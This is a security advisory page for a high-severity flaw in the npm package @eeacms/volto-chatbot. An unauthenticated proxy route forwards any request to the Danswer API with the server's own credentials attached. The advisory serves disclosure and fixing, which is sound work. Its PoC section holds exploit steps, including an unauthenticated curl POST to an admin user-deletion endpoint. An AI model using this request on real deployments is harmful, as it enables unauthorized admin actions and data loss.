@eeacms/volto-chatbot has Unauthenticated Danswer API Confused Deputy Proxy
GHSA-w9x9-j56r-h98r · published 29 Oct 2026
How serious is it
- Severity: high, CVSS score 8.2 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by GHSA-w9x9-j56r-h98r?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
@eeacms/volto-chatbot(npm) <= 2.0.3
How to check
- Run
npm ls @eeacms/volto-chatbotin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
@eeacms/volto-chatbotto 2.0.4 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
## Unauthenticated Danswer API Confused Deputy Proxy in @eeacms/volto-chatbot
### Summary
`@eeacms/volto-chatbot` exposes an Express middleware route (`**/_v1_da/**`) that accepts unauthenticated HTTP requests from any network client and proxies them to the configured upstream Danswer API, automatically attaching the server-side service credentials (`DANSWER_API_KEY` or session cookie). Because no authorization check, path allowlist, or method restriction is applied before the upstream request is issued, an unauthenticated attacker can invoke arbitrary Danswer API operations — including privileged admin endpoints — as the configured service account. This is a classic Confused Deputy attack: the Volto proxy acts as a deputy that carries credentials on behalf of the attacker.
### Details
The vulnerability is introduced across two source files in `@eeacms/volto-chatbot@2.0.3`.
**Route registration (`src/index.js:15`):**
```js
middleware.all('**/_v1_da/**', proxyMiddleware);
```
The wildcard pattern matches every HTTP method and any sub-path, and no authentication middleware is chained before `proxyMiddleware`. This means all requests reaching any `/_v1_da/` path are forwarded without any identity check.
**Unvalidated path extraction and upstream URL construction (`src/middleware.js:228-230`):**
```js
const path = req.url.replace('/_v1_da/', '/');
const reqUrl = `${process.env.DANSWER_URL || ''}/api${path}`;
```
The attacker-controlled `req.url` is transformed into the upstream Danswer path with a simple string replace. There is no allowlist of permitted paths, no restriction on HTTP methods, and no validation of the resulting URL. The attacker therefore fully controls which Danswer endpoint is called and with which HTTP method.
**Credential attachment and forwarding (`src/middleware.js:164`, `src/middleware.js:169`, `src/middleware.js:202`):**
```js
// Session-cookie path (line 164):
headers = { Cookie: cached_auth_cookie, ... }
// API-key path (line 169):
Authorization: 'Bearer ' + api_key,
// Sink — final upstream dispatch (line 202):
const response = await fetch(url, options, req.body);
```
After constructing the URL from attacker-supplied input, the middleware attaches the server-side Danswer credentials (either a cached login session cookie or a `Bearer` API key) and dispatches the request. The response from Danswer is then relayed back to the unauthenticated client.
**Complete data flow (source → sink):**
1. `src/index.js:15` — all `**/_v1_da/**` paths registered to `proxyMiddleware` with no auth guard (source: external HTTP request).
2. `src/middleware.js:228` — `req.url` used directly to derive the upstream path without allowlist.
3. `src/middleware.js:230` — attacker-controlled path appended to `${DANSWER_URL}/api`.
4. `src/middleware.js:164` / `src/middleware.js:169` — server-side session cookie or API key attached.
5. `src/middleware.js:202` — `fetch(url, options, req.body)` sends the fully-credentialed request to the Danswer backend (sink).
This vulnerability is present whenever the add-on middleware is installed and `DANSWER_API_KEY` or `DANSWER_USERNAME`/`DANSWER_PASSWORD` is configured — conditions required for normal, documented operation of the package.
### PoC
The following steps reproduce the vulnerability using the Docker-based test harness provided with this report.
**Prerequisites:**
- Docker installed
- Python 3 with the `requests` library
**Step 1 — Build the Docker image (from the `npmAI_719_eea__volto-chatbot/` parent directory):**
```bash
docker build \
-f vuln-001/Dockerfile \
-t vuln001-proxy \
reports/npmAI_719_eea__volto-chatbot
```
The image packages the unmodified `src/middleware.js` from `@eeacms/volto-chatbot@2.0.3`, a minimal Express server that wires the vulnerable middleware, and an in-container mock Danswer server that echoes every received request as JSON. The environment variable `DANSWER_API_KEY=supersecret` is set to simulate a real deployment.
**Step 2 — Start the container:**
```bash
docker run --rm -d -p 3000:3000 --name vuln001-test vuln001-proxy
```
This launches both the Volto proxy (port 3000) and the mock Danswer server (port 18080) inside the container.
**Step 3 — Run the PoC exploit script:**
```bash
python3 vuln-001/poc.py 127.0.0.1 3000
```
**What the script does:**
1. Waits for the proxy to accept TCP connections.
2. Sends an unauthenticated `POST` request with a JSON body to the admin-only Danswer endpoint via the proxy:
```
POST http://127.0.0.1:3000/_v1_da/admin/users/delete
Content-Type: application/json
{"id": "victim-user-123"}
```
No `Authorization` or `Cookie` header is sent by the client.
**Expected output (exploit confirmed):**
```
[+] === EXPLOIT CONFIRMED — PASS ===
[+] Decisive evidence:
1. Attacker-controlled path reached upstream : url='/api/admin/users/delete'
2. Server-side API key forwarded (no client auth) : authorization='Bearer supersecret'
3. Attacker-controlled HTTP method forwarded : method='POST'
```
The mock Danswer server receives `POST /api/admin/users/delete` with `Authorization: Bearer supersecret` — proving that the attacker controlled both the upstream path and the HTTP method while the server silently attached its own credentials.
**Equivalent manual curl command (without Docker):**
```bash
# Terminal 1 — mock Danswer server
node - <<'NODE'
require('http').createServer((req, res) => {
let b = ''; req.on('data', c => b += c);
req.on('end', () => {
res.setHeader('content-type', 'application/json');
res.end(JSON.stringify({
method: req.method, url: req.url,
authorization: req.headers.authorization || null,
body: b
}));
});
}).listen(18080, () => console.log('mock Danswer on :18080'));
NODE
# Terminal 2 — Volto with Danswer credentials configured
DANSWER_URL=http://127.0.0.1:18080 DANSWER_API_KEY=secret yarn start
# Terminal 3 — unauthenticated exploit request
curl -i -X POST 'http://localhost:3000/_v1_da/admin/use…
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/eea/volto-chatbot/security/advisories/GHSA-w9x9-j56r-h98r
- github.com/eea/volto-chatbot/commit/eaf18b7c0f23560086b300bf0c5e62f9f76ad7b0
- github.com/eea/volto-chatbot/releases/tag/2.0.4
- github.com/advisories/GHSA-w9x9-j56r-h98r
Merged from GitHub Advisory Database. Last updated 30 Oct 2026. All vulnerabilities · RSS · JSON